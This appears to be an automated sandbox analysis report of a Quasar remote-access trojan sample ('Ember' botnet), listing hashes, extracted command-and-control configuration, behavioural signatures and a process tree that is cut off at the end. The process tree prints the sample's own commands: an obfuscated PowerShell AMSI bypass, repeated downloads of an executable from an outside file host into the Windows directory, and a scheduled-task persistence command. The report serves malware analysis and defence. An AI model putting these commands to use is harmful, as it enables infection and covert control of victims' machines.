quasar | 8398f0a15602d9899ae49d025190ff551a950f24dfdc8e5f99e04327e5708efb

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
01/04/2024, 02:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
obz05sEk.exe
Size 14.0MB
Sample240401-c16ghsbc6y
SHA256 8398f0a15602d9899ae49d025190ff551a950f24dfdc8e5f99e04327e5708efb
MD5 1bba231f9a3bdf5cbf910a0bf8c385d8
SHA1 befece34f9ce679aa6290b6646479272a918a5ce
SHA512 4cfd06d1ece6814ff03a2bf384454fd2187f26d1cc4fb92d8c69411f1928303a7510adcb2cf26a769babd291d9814ca2bd36a6d3a0a4dc2ff379a5def991826b
SSDEEP 49152:4k6xlsn2ehEAKEC1iilw8jGkdD+vwIUbgOVRnILRpHHBXHeh/NT:4ux6EC11lw8jGkOAgC
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar ember spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Ember

public-popular.gl.at.ply.gg:13188

Mutex

f3pKHd/eIcpgf8c0CVLU6tgM9/bcdG1kJ1opsY2sWJKpzLriBJMf6JTHduTqct0kwFfojdX3EG2rYeQMekpzXNRTJgMZD2dN5J3gzxJFA9K07goTL+HuRfGuHOhl65/WnN4xuMZmnIJFGnYE9FOMmSbj9L54kkFu3L0TiwfOrRc=

Attributes

encryption_key
0E9EB6258008A2DCD13976EFC017C007AEE57960
install_name
$embr-Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
$embr-Ember
subdirectory
$embr

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

resource	yara_rule
behavioral2/memory/1984-1-0x0000000000210000-0x000000000101A000-memory.dmp	family_quasar
behavioral2/files/0x000800000002321b-61.dat	family_quasar

Blocklisted process makes network request 27 IoCs

flow	pid	Process
4	1196	powershell.exe
27	3740	powershell.exe
34	972	powershell.exe
36	3220	powershell.exe
52	3460	powershell.exe
53	3468	powershell.exe
54	1088	powershell.exe
68	532	powershell.exe
69	4760	powershell.exe
70	1996	powershell.exe
71	3224	powershell.exe
72	4364	powershell.exe
75	2676	powershell.exe
76	2972	powershell.exe
77	3076	powershell.exe
78	2408	powershell.exe
79	2592	powershell.exe
84	4624	powershell.exe
94	1108	powershell.exe
101	4136	powershell.exe
102	1848	powershell.exe
103	4264	powershell.exe
105	2236	powershell.exe
106	3116	powershell.exe
107	4860	powershell.exe
108	3524	powershell.exe
109	1300	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
4484	$embr-Client.exe

Drops file in Windows directory 26 IoCs

description	ioc	Process
File created	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File created	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe
File opened for modification	C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe	powershell.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2988	schtasks.exe
5024	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133564124320671952"	chrome.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1196	powershell.exe
4312	powershell.exe
1196	powershell.exe
4312	powershell.exe
2664	chrome.exe
2664	chrome.exe
3740	powershell.exe
3740	powershell.exe
3740	powershell.exe
1360	powershell.exe
1360	powershell.exe
972	powershell.exe
972	powershell.exe
972	powershell.exe
1360	powershell.exe
3220	powershell.exe
3220	powershell.exe
3220	powershell.exe
3460	powershell.exe
3460	powershell.exe
3460	powershell.exe
3468	powershell.exe
3468	powershell.exe
3468	powershell.exe
1088	powershell.exe
1088	powershell.exe
1088	powershell.exe
532	powershell.exe
532	powershell.exe
532	powershell.exe
4760	powershell.exe
4760	powershell.exe
4760	powershell.exe
1996	powershell.exe
1996	powershell.exe
1996	powershell.exe
3224	powershell.exe
3224	powershell.exe
3224	powershell.exe
4364	powershell.exe
4364	powershell.exe
4364	powershell.exe
2676	powershell.exe
2676	powershell.exe
2676	powershell.exe
2972	powershell.exe
2972	powershell.exe
2972	powershell.exe
3076	powershell.exe
3076	powershell.exe
3076	powershell.exe
2408	powershell.exe
2408	powershell.exe
2408	powershell.exe
2592	powershell.exe
2592	powershell.exe
2592	powershell.exe
4624	powershell.exe
4624	powershell.exe
4624	powershell.exe
1108	powershell.exe
1108	powershell.exe
4136	powershell.exe
4136	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1196	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeDebugPrivilege	1984	obz05sEk.exe
Token: SeDebugPrivilege	3740	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeDebugPrivilege	972	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeDebugPrivilege	4484	$embr-Client.exe
Token: SeDebugPrivilege	3220	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeDebugPrivilege	3460	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeDebugPrivilege	3468	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeDebugPrivilege	1088	powershell.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe

Suspicious use of FindShellTrayWindow 26 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 4312	1984	obz05sEk.exe	89
PID 1984 wrote to memory of 4312	1984	obz05sEk.exe	89
PID 1984 wrote to memory of 1196	1984	obz05sEk.exe	90
PID 1984 wrote to memory of 1196	1984	obz05sEk.exe	90
PID 2664 wrote to memory of 4420	2664	chrome.exe	95
PID 2664 wrote to memory of 4420	2664	chrome.exe	95
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 3004	2664	chrome.exe	97
PID 2664 wrote to memory of 2416	2664	chrome.exe	98
PID 2664 wrote to memory of 2416	2664	chrome.exe	98
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99
PID 2664 wrote to memory of 1020	2664	chrome.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\obz05sEk.exe
"C:\Users\Admin\AppData\Local\Temp\obz05sEk.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
  2⤵
  - Blocklisted process makes network request
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
  2⤵
  - Blocklisted process makes network request
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3740
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "$embr-Ember" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$embr\$embr-Client.exe" /rl HIGHEST /f
  2⤵
  - Creates scheduled task(s)
  PID:2988
- C:\Users\Admin\AppData\Roaming\$embr\$embr-Client.exe
  "C:\Users\Admin\AppData\Roaming\$embr\$embr-Client.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" [Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1360
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3220
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn "$embr-Ember" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\$embr\$embr-Client.exe" /rl HIGHEST /f
    3⤵
    - Creates scheduled task(s)
    PID:5024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:532
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:4760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:1996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:3224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:4364
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:2676
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:2972
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:3076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:2408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:2592
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:4624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:1108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    PID:4136
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:1848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:4264
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:2236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:3116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:4860
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    PID:3524
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Invoke-WebRequest https://files.offshore.cat/DSKeOWN1.exe -OutFile C:\Windows\Logs\Ember-Rootkit\embr-rootkit.exe
    3⤵
    - Blocklisted process makes network request
    PID:1300

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd63d29758,0x7ffd63d29768,0x7ffd63d29778
  2⤵
  PID:4420
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=560 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:2
  2⤵
  PID:3004
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1972 --field-trial-handle=1920,i,3841293279952483789,7148657140824872123,131072 /prefetch:8
  2⤵
  PID:2416
- C:\Program Files\Google\Chrome\Application\chrome.exe
